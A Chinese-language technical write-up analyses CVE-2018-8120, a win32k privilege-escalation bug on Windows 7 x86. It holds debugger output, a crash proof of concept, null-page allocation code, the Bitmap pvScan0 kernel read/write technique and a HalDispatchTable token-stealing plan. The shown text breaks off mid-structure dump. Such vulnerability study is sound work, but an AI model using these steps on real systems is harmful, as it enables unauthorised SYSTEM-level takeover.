[TOC] CVE 2018 8120 分析 1、實驗環境 1.1、操作系統 windows 7 sp1 x86 未打補丁 "磁力鏈接" 1.2、用到的分析工具 windbg 32位 "下載地址" IDA pro 7.0 "正版鏈接" PCHunter "下載地址" ProcessHacker "下 ...
目錄
- CVE-2018-8120 分析
CVE-2018-8120 分析
1、實驗環境
1.1、操作系統
- windows 7 sp1 x86 未打補丁 磁力鏈接
1.2、用到的分析工具
2、假如
2.1、我想提權
我想使我編寫的一個普通的R3的程式一運行就獲得SYSTEM最高許可權。一個常用的辦法是: 替換當前進程_EPROCESS結構的Token成員的值為system進程的_EPROESS的Token成員值。一旦替換成功,那麼從替換成功的那一刻開始一直到程式退出這段時間里,程式所做的一切操作都是以SYSTEM最高許可權執行的。
但是,要完成這項工作在R3層面上直接上shellcode是不行的,因為所有進程的EPROCESS結構都是位於內核空間中的,如果要對其進行讀寫則代碼必須運行在內核空間中才行,用戶空間中的代碼如果對其進行讀寫則會產生保護性異常。
所以問題就來了,怎樣讓我們的替換Token的shellcode(這段shellcode是怎麼寫的在後面會有詳細解釋)運行在內核空間中呢?
2.2、 有一個處於內核空間,極少被調用的函數
2.2.1、快速系統調用簡介
雖然用戶程式不能直接訪問內核空間,但是用戶程式可以通過調用系統服務來間接訪問系統空間中的數據或間接調用執行系統空間中的代碼。當調用系統服務時,調用線程會從用戶模式切換到內核模式,調用結束後再返回到用戶模式,也就是所謂的模式切換,有時也被稱為上下文切換(Context Switch)。模式切換是通過軟中斷或專門的快速系統調用(Fast System Call)指令來實現。
下麵我來簡要介紹下Windows 7 X86 sp1 是如何通過SYSENTER指令實現快速系統調用的。舉一個簡單的例子。調用ReadFile()
這個函數的流程為下圖所示:
在windows 7 sp1 x86中使用微軟的親兒子WINDBG(本地內核調試模式,具體設置百度,PS:設置完後需使用管理員許可權啟動WINDBG否則使用BCDEDIT設置重啟後依然不能啟用本地內核調試模式)查看NTDLL.DLL中導出的NtReadFile()
函數的反彙編:
lkd> uf ntdll!NtReadFile
ntdll!ZwReadFile:
775762b8 b811010000 mov eax,111h ;NtReadFile的系統服務號碼為 0x111
775762bd ba0003fe7f mov edx,offset SharedUserData!SystemCallStub (7ffe0300)
775762c2 ff12 call dword ptr [edx]
775762c4 c22400 ret 24h
那麼當第二句 mov edx,offset SharedUserData!SystemCallStub
執行後,edx 值為0x7ffe0300。因為第三句是 call dword ptr [edx]
所以繼續查看地址SharedUserData!SystemCallStub
處的值
lkd> dd SharedUserData!SystemCallStub
7ffe0300 775770b0 775770b4 00000000 00000000
繼續執行call dword ptr [edx]
則跳轉到地址0x775770b0
處執行,繼續使用神器反彙編
lkd> uf 775770b0
ntdll!KiFastSystemCall:
775770b0 8bd4 mov edx,esp
775770b2 0f34 sysenter
775770b4 c3 ret
當執行sysenter
指令後,進入內核模式,調用KisystemService()
函數,該函數會根據服務ID從系統服務分發表(System Service Dispatch Table)中找到要調用的服務函數的函數地址和參數描述,然後調用內核中正真的NtReadFile()
函數。那個服務ID就是進入SharedUserData!SystemCallStub
之前那個mov eax,111h
的111h。
2.2.2、SSDT表 和 ShadowSSDT 表和 HalDispatchTable硬體抽象層調度表 簡介
再windows NT系列操作系統中,有兩種類型的系統服務,一種是實現在內核文件中,是常用的系統服務。另一種實現在win32k.sys中,是一些與圖形顯示及用戶界面相關的系統服務。這些系統服務在系統運行期間常駐於系統記憶體區中,並且他們的入口地址保存在兩個系統服務地址表KiServiceTable和Win32pServiceTable中.所有的系統服務地址表都保存在系統服務描述表(SDT)中。
目前windows系統共有兩個SDT,一個是ServiceDescriptorTable(SSDT),另一個是ServiceDescriptorTableShadow(SSDTShadow).
其中ServiceDescriptorTable中只包含KiServiceTable,而ServiceDescriptorTableShadow中既包含KiServiceTable又包含Win32pServiceTbale.其中SSDT是可以訪問的而SSDTShadow是不公開的。
使用windbg查看SSDT和SSDTShadow如下:
lkd> dd nt!KeServiceDescriptorTable
83fad9c0 83ec1d9c 00000000 00000191 83ec23e4
83fad9d0 00000000 00000000 00000000 00000000 //SSDT中該項為空
lkd> dd nt!KeServiceDescriptorTableShadow
83fada00 83ec1d9c 00000000 00000191 83ec23e4
83fada10 955b6000 00000000 00000339 955b702c //SSDTShadow中該項不為空
SDT的表項中成員按以下數據結構組成:
typedef struct _KSYSTEM_SERVICE_TABLE
{
PULONG ServiceTableBase; // 0x00 系統服務地址表地址
PULONG ServiceCounterTableBase; // 0x04
PULONG NumberOfService; // 0x08 服務函數的個數
ULONG ParamTableBase; // 0x0c 該系統服務的參數表
} KSYSTEM_SERVICE_TABLE, *PKSYSTEM_SERVICE_TABLE; //sizeof=0x10
那麼根據SSDTShadow可以得到KiServiceTable的地址為0x83ec1d9c,包含0x191個服務函數;
可以得到Win32pServiceTable的地址為0x955b6000,包含0x339個服務函數。
這時我們去看看Win32pServiceTable處的東西吧!
lkd> dds 955b6000
955b6000 95543d37 win32k!NtGdiAbortDoc
955b6004 9555bc23 win32k!NtGdiAbortPath
955b6008 953b71ac win32k!NtGdiAddFontResourceW
955b600c 95552c5d win32k!NtGdiAddRemoteFontToDC
955b6010 9555d369 win32k!NtGdiAddFontMemResourceEx
955b6014 95544554 win32k!NtGdiRemoveMergeFont
955b6018 955445e8 win32k!NtGdiAddRemoteMMInstanceToDC
955b601c 9546dad1 win32k!NtGdiAlphaBlend
955b6020 9555cb94 win32k!NtGdiAngleArc
955b6024 95421965 win32k!NtGdiAnyLinkedFonts
955b6028 95421882 win32k!NtGdiFontIsLinked
955b602c 9555eead win32k!NtGdiArcInternal
955b6030 9555d085 win32k!NtGdiBeginGdiRendering
955b6034 9555bc97 win32k!NtGdiBeginPath
955b6038 954628cb win32k!NtGdiBitBlt
可以發現它的每一個成員都是一個四位元組的服務函數指針!如果把這裡面某個函數指針改為我們shellcode的地址,再在用戶層調用它的R3對應函數,那麼不就讓我們的shellcode在高許可權執行了嗎?但是,我們需要一個更好的目標,它在我們程式的運行階段不會被其他任何進程調用。(因為又不是你一個程式在調系統服務函數,如果其他程式調用了你改了函數指針指向的函數,就會有不可預料的事情發生,比如BOSD).
另一個很好的表是硬體抽象層(HAL)調度表nt!HalDispatchTable
。這裡也存儲了系統調用地址,不過是HAL常式的地址。用溫帝霸查看如下所示:
lkd> dds nt!HalDispatchTable
83f6e3f8 00000004
83f6e3fc 83e338a2 hal!HaliQuerySystemInformation
83f6e400 83e341b4 hal!HalpSetSystemInformation
註意到nt!HalDispatchTable+4那
個地址指向的函數了嗎?這個函數就是我們要覆蓋為shellcode地址的最佳選擇。因為有一個名為NtQueryIntervalProfile
的未記錄函數,它獲取當前為給定配置文件源設置的配置文件間隔。該函數可以通過調用GetProcAddress
從NTDLL.DLL中獲取地址,在userland調用。該函數在內部調用KeQueryIntervalProfile
函數 :
kd> u nt!NtQueryIntervalProfile + 0x62
nt!NtQueryIntervalProfile+0x62:
8414fecd 7507 jne nt!NtQueryIntervalProfile+0x6b (8414fed6)
8414fecf a1acdbf683 mov eax,dword ptr [nt!KiProfileInterval (83f6dbac)]
8414fed4 eb05 jmp nt!NtQueryIntervalProfile+0x70 (8414fedb)
8414fed6 e83ae5fbff call nt!KeQueryIntervalProfile (8410e415);調用KeQueryIntervalProfile
8414fedb 84db test bl,bl
8414fedd 741b je nt!NtQueryIntervalProfile+0x8f (8414fefa)
8414fedf c745fc01000000 mov dword ptr [ebp-4],1
8414fee6 8906 mov dword ptr [esi],eax
//本地u好像許可權不夠,雙機調u成功
繼續反彙編nt!KeQueryInterValProfile
kd> u nt!KeQueryIntervalProfile+0x23
nt!KeQueryIntervalProfile+0x23:
8410e438 ff15fce3f683 call dword ptr [nt!HalDispatchTable+0x4 (83f6e3fc)]
8410e43e 85c0 test eax,eax
8410e440 7c0b jl nt!KeQueryIntervalProfile+0x38 (8410e44d)
8410e442 807df400 cmp byte ptr [ebp-0Ch],0
8410e446 7405 je nt!KeQueryIntervalProfile+0x38 (8410e44d)
8410e448 8b45f8 mov eax,dword ptr [ebp-8]
8410e44b c9 leave
8410e44c c3 ret
發現了嗎?nt!HalDispatchTable+0x4
不就是hal!HaliQuerySystemInformation
嗎?所以我們可以用userland中的令牌(Token)竊取shellcode的地址覆蓋這個指針,那麼一旦我們調用NtQueryIntervalProfile
函數的時候,就會在內核中運行我們的shellcode啦!!!
但是繞來繞去,我們還是沒有辦法在R3直接修改內核空間中的記憶體。。。:slightly_smiling_face:
2.3、R3任意修改R0地址空間記憶體
這裡有一個非常強的方法來實現任意記憶體讀寫,那就是利用Bitmap內核對象中的pvScan0欄位。系統API的GetBitmapBits
和SetBitmapBits
可以讀寫pvScan0所指向記憶體地址的內容。具體細節在下文中有。
如果這個pvScan0指向nt!HalDispatchTable+0x4
,那麼我們就可以先用GetBitMap()
把原本的HaliQuerySystemInforMation
函數地址保存起來,再用SetBitMap()
函數將其改為shellcode的地址,那麼這個時候調用NtQueryIntervalProfile
就在內核中執行了我們的shellcode,shellcode執行完之後再用SetBitMap()
將剛剛保存的原地址改回去就行了。
但是......又怎麼在userland改pvScan0的值啊,這時就要利用CVE-2018-8120這個漏洞了。下麵開始進入正題。
3、由WIN32K!SetImeInfoEx()引發的漏洞
3.1、分析
首先,在VM中裝好windows 7 sp1 x86版本,使其斷開網路連接,防止系統自動安裝補丁。將位於C:\Windows\System32\目錄下的win32k.sys文件拿到IDA中F5分析(就只會IDA的F5的小白一隻)。在函數視窗查找到SetImeInfoEx()
函數,雙擊之後按F5得到
signed int __stdcall SetImeInfoEx(signed int a1, _DWORD *a2)
{
signed int result; // eax
_DWORD *v3; // eax
_DWORD *v4; // eax
result = a1;
if ( a1 )
{
v3 = *(_DWORD **)(a1 + 20);
while ( v3[5] != *a2 )
{
v3 = (_DWORD *)v3[2];
if ( v3 == *(_DWORD **)(a1 + 20) )
return 0;
}
v4 = (_DWORD *)v3[11];
if ( !v4 )
return 0;
if ( !v4[18] )
qmemcpy(v4, a2, 0x15Cu);
result = 1;
}
return result;
}
先啥都不看,看到qmemcpy(v4,a2,348u)
沒得?假如我們可以指定v4的值和a2的值不就可以實現任意記憶體拷貝了嗎?只不過是將a2指向的348個位元組拷貝到v4指向的記憶體,拷貝得好像有點多。不管不管,先看看能不能控制a2和v4。
假如能夠執行到qmemcpy()
, 由a4等於v3[11],v3的值與a1得值有關,所以需要知道a1和a2到底是啥子東西。因為win32k.sys並沒有導出SetImeInfoEx
,那就看看是win32k.sys中的哪個函數調了SetImeInfoEx
,切換回這個函數的文本視圖(IDA View1),點擊view->open subviews->function calls 查看調用關係。如下圖所示:
就只有NtUserSetImeInfoEx
是Caller。F5查看NtUserSetImeInfoEx
的代碼:v6是NtUserSetImeInfoEx的
參數參數類型為tagIMEINFOEX ,v4是通過_GetProcessWindowStation
得到的返回值,其類型為tagWINDOWSTATION 。
//調用處關鍵代碼
v4 = _GetProcessWindowStation(0);
v1 = SetImeInfoEx(v4, &v6);
所以由此可得:
0 signed int __stdcall SetImeInfoEx(tagWINDOWSTATION* a1, tagIMEINFOEX *a2)
1 {
2 signed int result; // eax
3 tagKL *v3; // eax
4 tagIMEINFOEX *v4; // eax
5
6 result = a1;
7 if ( a1 )
8 {
9 v3 = a1->spkList; // 如果spkList為NULL,則下麵使用v3訪問的時候將觸發訪問異常
10 while ( v3->hkl != a2->hkl )
11 {
12 v3 = v3->pklNext;
13 if ( v3 == a1->spkList )
14 return 0;
15 }
16 v4 = v3->piiex;
17 if ( !v4 )
18 return 0;
19 if ( !v4->fLoadFlag)
20 qmemcpy(v4, a2, 0x15Cu); //sizeof(tagIMEINFOEX)=0x15c
21 result = 1;
22 }
23 return result;
24}
下麵開始分析代碼:
- 第9行:
v3 = a1->spkList
如果a1->spkList的值為0,那麼v3也就為0了,那麼執行while(v3->hkl != a2->hkl)
的時候,就會訪問虛擬地址為0的地址空間,而這一區域是空指針賦值分區(x86 32位下範圍為:0x00000000-0x0000FFFF),對這一分區進行讀取或寫入會引發訪問違規。如果是r3對這一分區進行讀寫,則會彈出一個消息提示框提示程式錯誤。如果是r0對這一分區進行讀寫,則會直接觸發藍屏。“3.2、驗證漏洞POC”中對這一點進行了實驗,請跳過去閱讀。
3.2、驗證漏洞POC
win32k.sys中的NtUserSetImeInfoEx是用於將用戶進程定義的輸入法擴展信息對象設置在與當前進程關聯的視窗站中。
視窗站tagWINDOWSTATION結構體定義如下:
win32k!tagWINDOWSTATION
+0x000 dwSessionId : Uint4B
+0x004 rpwinstaNext : Ptr32 tagWINDOWSTATION
+0x008 rpdeskList : Ptr32 tagDESKTOP
+0x00c pTerm : Ptr32 tagTERMINAL
+0x010 dwWSF_Flags : Uint4B
+0x014 spklList : Ptr32 tagKL
+0x018 ptiClipLock : Ptr32 tagTHREADINFO
+0x01c ptiDrawingClipboard : Ptr32 tagTHREADINFO
+0x020 spwndClipOpen : Ptr32 tagWND
+0x024 spwndClipViewer : Ptr32 tagWND
+0x028 spwndClipOwner : Ptr32 tagWND
+0x02c pClipBase : Ptr32 tagCLIP
+0x030 cNumClipFormats : Uint4B
+0x034 iClipSerialNumber : Uint4B
+0x038 iClipSequenceNumber : Uint4B
+0x03c spwndClipboardListener : Ptr32 tagWND
+0x040 pGlobalAtomTable : Ptr32 Void
+0x044 luidEndSession : _LUID
+0x04c luidUser : _LUID
+0x054 psidUser : Ptr32 Void
R3中可以通過系統提供的介面CreateWindowStation()和SetProcessWindowStation(),新建一個新的WindowStation對象並和當前進程關聯起來,值得註意的是,使用CreateWindowStation() 新建的WindowStation對象其偏移0×14位置的spklList欄位的值預設是零。那麼 根據SetImeInfoEx()函數的流程,當WindowStation->spklList欄位為0,函數繼續執行將觸發0地址訪問異常。
3.2.1、驗證使用CreateWindowStation()新建的windowStation對象的spkList欄位是否預設為0
使用以下代碼創建一個WindowStation
#include <Windows.h>
#include <stdio.h>
int main()
{
HWINSTA hSta = CreateWindowStationW(0, 0, READ_CONTROL, 0);
printf("handle:0x%X\n", hSta);
system("pause");
return 0;
}
在windows 7 sp1 x86中運行得到如下結果:(每次可能不同)
使用PCHUNTER查看其進程句柄如下圖:找到句柄值為0x3c得哪一行得到內核中tagWINDOWSTATION 的地址為:0x86c12960
使用windbg本地內核調試模式,先切換使用!process 0 0
查找到程式的PROCESS值,再使用.process 值
切換當前implicit process.就可以查看WindowStation->spklList欄位的值了。結果的確為null(0)。
lkd> dt tagWINDOWSTATION 0x86c12960
win32k!tagWINDOWSTATION
+0x000 dwSessionId : 1
+0x004 rpwinstaNext : (null)
+0x008 rpdeskList : (null)
+0x00c pTerm : 0x955ceb80 tagTERMINAL
+0x010 dwWSF_Flags : 4
+0x014 spklList : (null) //該欄位為零
+0x018 ptiClipLock : (null)
....
那麼如果繼續使用SetProcessWindowStation()將剛剛創建的視窗站(spkList欄位為0)與當前程式綁定,那麼
win32k!NtUserSetImeInfoEx()
系統服務函數 中調用_GetProcessWindowStation()
返回的就是spkList欄位為零的視窗站內核對象, 也就是SetImeInfoEx()的第一個參數!!!!!! 那麼就會觸發藍屏。
3.2.2、驗證觸發藍屏
通過以上的分析,那麼下一步就是要調用win32k!NtUserSetImeInfoEx()
系統服務函數了,NtUserSetImeInfoEx()系統服務函數未導出,需要自己在用戶進程中調用該系統服務函數,以執行漏洞函數SetImeInfoEx() 。我們使用調用UserSharedData!SystemCallStub(因為是固定記憶體區,所以這個值windows 7 sp1 x86中是不變的)。在2.2.1中我介紹了調用系統服務函數的方法,sysenter
是根據EAX寄存器中的系統服務號來查找調用系統服務函數的,那麼下麵我們來獲取這個函數的系統服務號,因為是win32k,所以該函數位於SSDTShadow中。在windows 7 sp1 x86中運行PCHUNTER,查看內核鉤子->ShadowSSDT獲取序號
那麼NtUserSetImeInfoEx
的系統服務號 = 0x1000+0x226(556的16進位) = 0x1226 ,你可能會奇怪為什麼要加0x1000這個值,其實當初我看到這個算式的時候也是一臉懵逼,於是我就雙機調試了整個sysenter過程,總算明白了為什麼是加0x1000。下麵貼出關鍵彙編代碼
lkd> u nt!KiFastCallEntry+0x8f L10
nt!KiFastCallEntry+0x8f:
83e8114f 8bf8 mov edi,eax //eax中是系統服務號
83e81151 c1ef08 shr edi,8
83e81154 83e710 and edi,10h
83e81157 8bcf mov ecx,edi
83e81159 03bebc000000 add edi,dword ptr [esi+0BCh] //第二個操作數是SSDTShadow的地址
83e8115f 8bd8 mov ebx,eax
83e81161 25ff0f0000 and eax,0FFFh //取序號
83e81166 3b4708 cmp eax,dword ptr [edi+8] //判斷序號是否超過了該表服務函數總數
83e81169 0f8333fdffff jae nt!KiBBTUnexpectedRange (83e80ea2) //大於等於則退出並報錯
關鍵就在於shr
和and
這兩句,如果這樣還不清楚的話就舉個例子吧。假如eax為0x1126
mov edi,eax
edi=0x00001126 ,eax=0x00001126shr edi,8
導致 edi=0x00000011and edi,10h
edi=0x10add edi,SSDTShadow的地址
還記得2.2.2節中介紹SSDTShadow說的嗎?SSDTShadow中的表項中成員按以下數據結構組成:
typedef struct _KSYSTEM_SERVICE_TABLE
{
PULONG ServiceTableBase; // 0x00 系統服務地址表地址
PULONG ServiceCounterTableBase; // 0x04
PULONG NumberOfService; // 0x08 服務函數的個數
ULONG ParamTableBase; // 0x0c 該系統服務的參數表
} KSYSTEM_SERVICE_TABLE, *PKSYSTEM_SERVICE_TABLE; //sizeof=0x10SSDTShadow的第一個表項是KiServiceTable(SSDTShadow首地址+0),第二個表項是win32k.sys的win32pServiceTable!(SSDTShadow首地址+0x10),這個0x10不就是sizeof(KSYSTEM_SERVICE_TABLE)嗎?
所以如果是調第一個表項中的系統服務函數,那麼系統服務號 = 0x0000+ 序號,如果是調用第二個表項中的系統服務函數就是 系統服務號 = 0x1000+ 序號。那個1其實就是表示的是SSDTShadow中第幾個表項。
好了,最後要獲取的東西就是位於固定記憶體的UserSharedData!SystemCallSutb
lkd> dd SystemCallStub 7ffe0300 777370b0 777370b4 00000000 00000000
得到這個值為0x7ffe0300(這個不變),它所指向地址中的值為0x777370b0(這個可能會變)就為KiFastSystemCall的地址。
lkd> u 777370b0 ntdll!KiFastSystemCall: 777370b0 8bd4 mov edx,esp 777370b2 0f34 sysenter 777370b4 c3 ret
所以我們的驗證POC代碼如下:
#include <Windows.h> #include <stdio.h> __declspec(naked) NTSTATUS NTAPI NtSetUserImeInfoEx(PVOID imeinfoex) { __asm { mov eax, 0x1226 mov edx, 0x7ffe0300 call dword ptr[edx] ret 0x04 } } int main() { HWINSTA hSta = CreateWindowStationW(0, 0, READ_CONTROL, 0); SetProcessWindowStation(hSta); char ime[0x800]; NtSetUserImeInfoEx((PVOID)&ime); return 0; }
編譯運行,果然藍屏了。附上截圖,好開心啊。
4、windows 7分配零頁記憶體
在32位windows 7系統中,可以用的虛擬地址空間位4GB,其中地址範圍為:0x00000000~0x0000FFFF的區域被稱為空指針賦值分區,保留該分區的目的是為了幫助程式員捕獲對空指針的賦值。如果進程中的線程試圖讀取或寫入位於這一分區內的記憶體地址,就會引發訪問違規。
《Windows核心編程第五版》第13章Windows記憶體體繫結構中在介紹空指針賦值分區時有這樣一句話:
值得註意的是,沒有任何辦法可以讓我們分配到位於這一地址區間的虛擬記憶體,即便是使用Win32應用程式編程介面也不例外。
哦?是嗎?那我就在windows 7 sp1 x86上運行一下下麵這段代碼生成的程式試試:
#include<Windows.h>
#include<stdio.h>
typedef
NTSYSAPI
NTSTATUS
(NTAPI *_NtAllocateVirtualMemory)(
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG RegionSize,
IN ULONG AllocationType,
IN ULONG Protect);
void TestNullPageAlloc()
{
HMODULE hntdll = GetModuleHandle("ntdll");
_NtAllocateVirtualMemory NtAllocateVirtualMemory = (_NtAllocateVirtualMemory)GetProcAddress(hntdll, "NtAllocateVirtualMemory");
PVOID addr = (PVOID)0x100;
DWORD size = 0x1000;
NtAllocateVirtualMemory(GetCurrentProcess(), &addr, 0, &size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
DWORD * p = NULL;
*p = 6;
printf("p=%p *p=%d\n",p, *p);
system("pause");
}
int main()
{
TestNullPageAlloc();
return 0;
}
附上運行截圖:
使用PCHUNTER查看該程式記憶體表:
註意到了嗎?分配成功了。這是利用的ZwAllocateVirtualMemory這個函數。該函數在指定進程的虛擬空間中申請一塊記憶體,該塊記憶體預設將以64kb大小對齊,頁面大小為4kb。 下麵來解釋了為啥上圖中是0x0000~0x1FFF(不包括0x2000,因為大小是0x2000)。
由BaseAddress=0x100,申請大小為0x1000可知我們需要的分配地址空間範圍為:0x100~0x1100-0x1。因為分配記憶體塊的起始地址必須為64kb的整數倍,所以系統決定起始地址為0x00000000,又因為分配的基本單位頁面大小為4kb,所以0x1000~0x2000-0x01這一段也會被分配。所以實際分配的地址範圍就為0x00000000~0x00001FFF。
zwAllocateVirtualMemory函數,微軟沒有給出公開的文檔,但是可以通過相關資料或是逆向來瞭解該函數的使用方式。
NTSYSAPI NTSTATUS NTAPI ZwAllocateVirtualMemory (
IN HANDLE ProcessHandle,
IN OUT PVOID BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG RegionSize,
IN ULONG AllocationType,
IN ULONG Protect
);
註:若指定BaseAddress為0則系統會尋找第一個未使用的記憶體塊來分配,而不是在零頁記憶體中分配。 所以需要利用對齊粒度和頁面大小來做騷操作。
所以:**如果我們成功申請了記憶體,使其可寫可讀,那麼我們剛剛利用SetImeInfoEx函數中的藍屏觸發POC就不會藍屏了,因為空指針指向的地方是可以讀寫的了。而且你註意到了嗎?我們成功申請的空指針記憶體區是可以在R3操作的,不信看這一節開頭的那個驗證程式:DWORD* p=NULL;*p=6;**
所以SetImeInfoEx函數的第一個參數的spklList成員所指向的值,我們可以直接在R3進行操作了。
5、Bitmap GDI函數實現內核任意地址讀/寫
當創建一個bitmap時,一個結構被附加到了進程PEB的GdiSharedHandleTable成員中。 GdiSharedHandleTable是一個GDICELL結構體數組的指針 :
typedef struct
{
LPVOID pKernelAddress;
USHORT wProcessId;
USHORT wCount;
USHORT wUpper;
USHORT wType;
LPVOID pUserAddress;
} GDICELL; //sizeof = 0x10
我們可以用以下方式找到Bitmap的內核地址
addr = PEB.GdiSharedHandleTable + (handle &0xffff) *sizeof(GDICELL) ;取序號*大小獲得偏移
下麵編寫代碼創建一個Bitmap對象,並列印內核句柄對象,然後使用工具找到這這個對象,使用上面的公式進行驗證。
#include<Windows.h>
#include<stdio.h>
void TestCreateBitmap()
{
PVOID buf = malloc(0x64 * 0x64 * 4);
HANDLE handle = CreateBitmap(0x64, 0x64, 1, 32, buf);
printf("handle=0x%X\n", handle);
system("pause");
}
int main()
{
TestCreateBitmap();
return 0;
}
將其放入windows 7 sp1 x86中運行結果如下:
使用ProcessHacker查看驗證程式的GDI句柄表
打開windbg雙機調試,先切換進程,進行如下操作:發現確實和使用工具查出的地址一樣:0xfe64c000
kd> !process 0 0 Test.exe
PROCESS 86fc2c20 SessionId: 1 Cid: 0e84 Peb: 7ffd4000 ParentCid: 0504
DirBase: 7f2d0440 ObjectTable: a4843218 HandleCount: 18.
Image: Test.exe
kd> .process 86fc2c20
Implicit process is now 86fc2c20
WARNING: .cache forcedecodeuser is not enabled
kd> dt _PEB GdiSharedHandleTable 7ffd4000
nt!_PEB
+0x094 GdiSharedHandleTable : 0x00670000 Void
kd> dd 0x00670000 + (0xB0050462 &0xffff)*0x10 l1
00674620 fe64c000
至此,Bitmap的內核地址有了,那麼該怎麼用呢?GDICELL結構的pKernelAddress成員指向BASEOBJECT結構,在這個BASEOBJECT結構後面的緊跟那個結構才是關鍵所在。如果是點陣圖那麼這個結構為下麵的SURFOBJ結構。
typedef struct _BASEOBJECT //<[偏移,大小] 連續序號(表示BASEOBJECT後跟的就是點陣圖_SURFOBJ)
HANDLE hHmgr; //<[00,04] 00
PVOID pEntry; //<[04,04] 01
LONG cExclusiveLock; //<[08,04] 02
ULONG Tid; //<[0c,04] 03
} BASEOBJECT, *POBJ; //sizeof=0x10
typedef struct _SURFOBJ {
DHSURF dhsurf; //<[00,04] 04
HSURF hsurf; //<[04,04] 05
DHPDEV dhpdev; //<[08,04] 06
HDEV hdev; //<[0C,04] 07
SIZEL sizlBitmap; //<[10,08] 08 09
ULONG cjBits; //<[18,04] 0A
PVOID pvBits; //<[1C,04] 0B
PVOID pvScan0; //<[20,04] 0C
LONG lDelta; //<[24,04] 0D
ULONG iUniq; //<[28,04] 0E
ULONG iBitmapFormat; //<[2C,04] 0F
USHORT iType; //<[30,02] 10
USHORT fjBitmap; //<[32,02] xx
} SURFOBJ;
typedef struct tagSIZEL {
LONG cx;
LONG cy;
} SIZEL, *PSIZEL;
pvScan0 成員就是我們需要利用的,因為GetBitmapBits 和 SetBitmapBits 這兩個API能操作這個成員。GetBitmapBits 允許我們在 pvScan0 地址上讀任意位元組,SetBitmapBits 允許我們在 pvScan0 地址上寫任意位元組。如果我們有一個漏洞(例如:CVE-2018-8120)可以修改一次內核地址, 把 pvScan0 改成我們想要操作的內核地址,這樣是不是就實現了可以重覆利用的內核任意讀寫呢?
6、漏洞利用
6.1、先寫出"利用環境"
- 分配零頁記憶體
- 創建並設置視窗站
//分配零頁記憶體
HMODULE hntdll = GetModuleHandle("ntdll");
_NtAllocateVirtualMemory NtAllocateVirtualMemory = (_NtAllocateVirtualMemory)GetProcAddress(hntdll, "NtAllocateVirtualMemory");
PVOID addr = (PVOID)0x100;
DWORD size = 0x10;
NtAllocateVirtualMemory(GetCurrentProcess(), &addr, 0, &size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
//創建視窗站
HWINSTA hSta = CreateWindowStationW(0, 0, READ_CONTROL, 0);
//設置視窗站
SetProcessWindowStation(hSta);
6.2、寫一段獲取system.exe進程令牌的shellcode
首先來點基礎知識:每個進程都在內核中都會有且僅有一個EPROCESS結構。該結構幾乎包括了進程所有關鍵信息和重要資產。其中EPROCESS結構中的Token欄位記錄著這個進程的TOKEN結構的地址,進程的很多與安全相關的信息是記錄在這個TOKEN結構中的。所以如果我們想獲得SYSTEM許可權,就可以將擁有SYSTEM許可權進程的Token欄位的值找到,並賦值給我們創建程式進程的EPROCESS的Token欄位。就可以完成提權了。
所以我們在內核空間執行的shellcode的第一步 是找到擁有SYSTEM許可權的進程的EPROCESS結構地址,擁有SYSTEM許可權的進程就是System進程(該PID固定為4)。第二步就是將它的Token欄位賦值給我們程式EPROCESS的Token。
那麼如何在內核空間中找到System進程的EPROCESS呢?那麼我們先找到自己進程的EPROCESS結構。在R0中,fs寄存器指向一個叫KPCR的數據結構:
lkd> dt _KPCR -r1
nt!_KPCR
+0x000 NtTib : _NT_TIB
+0x000 Used_ExceptionList : Ptr32 _EXCEPTION_REGISTRATION_RECORD
+0x004 Used_StackBase : Ptr32 Void
+0x008 Spare2 : Ptr32 Void
+0x00c TssCopy : Ptr32 Void
+0x010 ContextSwitches : Uint4B
+0x014 SetMemberCopy : Uint4B
+0x018 Used_Self : Ptr32 Void
+0x01c SelfPcr : Ptr32 _KPCR
+0x020 Prcb : Ptr32 _KPRCB
+0x024 Irql : UChar
+0x028 IRR : Uint4B
+0x02c IrrActive : Uint4B
+0x030 IDR : Uint4B
+0x034 KdVersionBlock : Ptr32 Void
+0x038 IDT : Ptr32 _KIDTENTRY
+0x03c GDT : Ptr32 _KGDTENTRY
+0x040 TSS : Ptr32 _KTSS
+0x044 MajorVersion : Uint2B
+0x046 MinorVersion : Uint2B
+0x048 SetMember : Uint4B
+0x04c StallScaleFactor : Uint4B
+0x050 SpareUnused : UChar
+0x051 Number : UChar
+0x052 Spare0 : UChar
+0x053 SecondLevelCacheAssociativity : UChar
+0x054 VdmAlert : Uint4B
+0x058 KernelReserved : [14] Uint4B
+0x090 SecondLevelCacheSize : Uint4B
+0x094 HalReserved : [16] Uint4B
+0x0d4 InterruptMode : Uint4B
+0x0d8 Spare1 : UChar
+0x0dc KernelReserved2 : [17] Uint4B
+0x120 PrcbData : _KPRCB
註意它的最後一個成員PrcbData,它的類型是_KPRCB。使用windbg查看:
lkd> dt _KPRCB
nt!_KPRCB
+0x000 MinorVersion : Uint2B
+0x002 MajorVersion : Uint2B
+0x004 CurrentThread : Ptr32 _KTHREAD //指向當前線程_KTHREAD結構的指針。
+0x008 NextThread : Ptr32 _KTHREAD
+0x00c IdleThread : Ptr32 _KTHREAD
.....
也就說fs:[124]其實是指向當前線程的_KTHREAD ,下麵繼續查看 _KTHREAD結構:
lkd> dt _KTHREAD -r1
nt!_KTHREAD
+0x000 Header : _DISPATCHER_HEADER
....
+0x03c MiscFlags : Int4B
+0x040 ApcState : _KAPC_STATE
+0x000 ApcListHead : [2] _LIST_ENTRY
+0x010 Process : Ptr32 _KPROCESS//指向當前進程EPROCESS結構
+0x014 KernelApcInProgress : UChar
+0x015 KernelApcPending : UChar
+0x016 UserApcPending : UChar
+0x040 ApcStateFill : [23] UChar
+0x057 Priority : Char
+0x058 NextProcessor : Uint4B
額,你可能要問_KTHREAD.ApcState.Process不是指向的是 _KPROCESS的指針嗎?難道EPROCESS和KPROCESS一樣? 肯定不一樣啊,但是你看看 EPROCESS的組成就清楚了。
lkd> dt _EPROCESS
ntdll!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x098 ProcessLock : _EX_PUSH_LOCK
+0x0a0 CreateTime : _LARGE_INTEGER
+0x0a8 ExitTime : _LARGE_INTEGER
+0x0b0 RundownProtect : _EX_RUNDOWN_REF
+0x0b4 UniqueProcessId : Ptr32 Void
+0x0b8 ActiveProcessLinks : _LIST_ENTRY
+0x0c0 ProcessQuotaUsage : [2] Uint4B
+0x0c8 ProcessQuotaPeak : [2] Uint4B
+0x0d0 CommitCharge : Uint4B
+0x0d4 QuotaBlock : Ptr32 _EPROCESS_Q
